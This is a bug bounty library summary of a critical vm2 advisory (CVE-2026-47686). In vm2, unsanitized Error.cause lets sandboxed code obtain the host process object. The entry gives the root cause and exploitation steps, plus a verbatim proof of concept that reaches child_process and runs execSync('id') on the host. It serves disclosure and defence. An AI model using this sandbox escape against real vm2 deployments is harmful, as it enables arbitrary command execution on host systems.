# VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE

vm2's handleException sanitizes SuppressedError/AggregateError sub-errors but ignores ES2022 Error.cause, letting sandbox code reach host process and run commands.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: VladimirEliTokarev
- Disclosed: 2026-08-17
- CVE: CVE-2026-47686
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-m283-3h24-438v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m283-3h24-438v
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:sandbox-escape

**Target:** vm2 sandbox exception sanitizer (lib/setup-sandbox.js handleException)
**Root cause:** handleException walks the prototype chain to sanitize SuppressedError and AggregateError sub-errors but returns other errors directly without inspecting the ES2022 `.cause` property, leaving host object references reachable.
**Steps:**
1. Embedder exposes a sandbox function that throws `new Error('fail', { cause: process })`.
2. Sandbox code calls `hostFn()` inside try/catch.
3. Catch handler reads `e.cause` to obtain the host `process` object.
4. Call `proc.mainModule.require('child_process').execSync('id').toString()` to execute host commands.
**How found:** Reporter compared docs/ATTACKS.md Defense Invariant #3 (claiming Error.cause is sanitized) against the handleException implementation and noticed the prototype-chain walk only handles SuppressedError/AggregateError, never `.cause`.
**Exploitation:** Sandboxed code catches a host-thrown error whose `.cause` references `process`, then pivots through `process.mainModule.require('child_process')` to run arbitrary OS commands on the host, escaping the sandbox entirely.
**Escalation:** Sandbox escape to full host process access (file read/write, process spawn, network) with changed scope (CVSS S:C).
**Insight:** When a sanitizer enumerates error-aggregation types, check every spec-added error channel (`.cause`, `.errors`, `.suppressed`) — documentation invariants are a good diff target against implementation.

## Proof of concept (copied exactly from the original report)

**PoC: host error with .cause=process escapes sandbox**

```
const { VM } = require('vm2');

const vm = new VM({
    sandbox: {
        hostFn: () => {
            throw new Error('fail', { cause: process });
        }
    }
});

const result = vm.run(`
    try {
        hostFn();
    } catch (e) {
        // .cause is not sanitized, so we get a direct reference to host process
        const proc = e.cause;
        proc.mainModule.require('child_process').execSync('id').toString();
    }
`);

console.log(result);
```

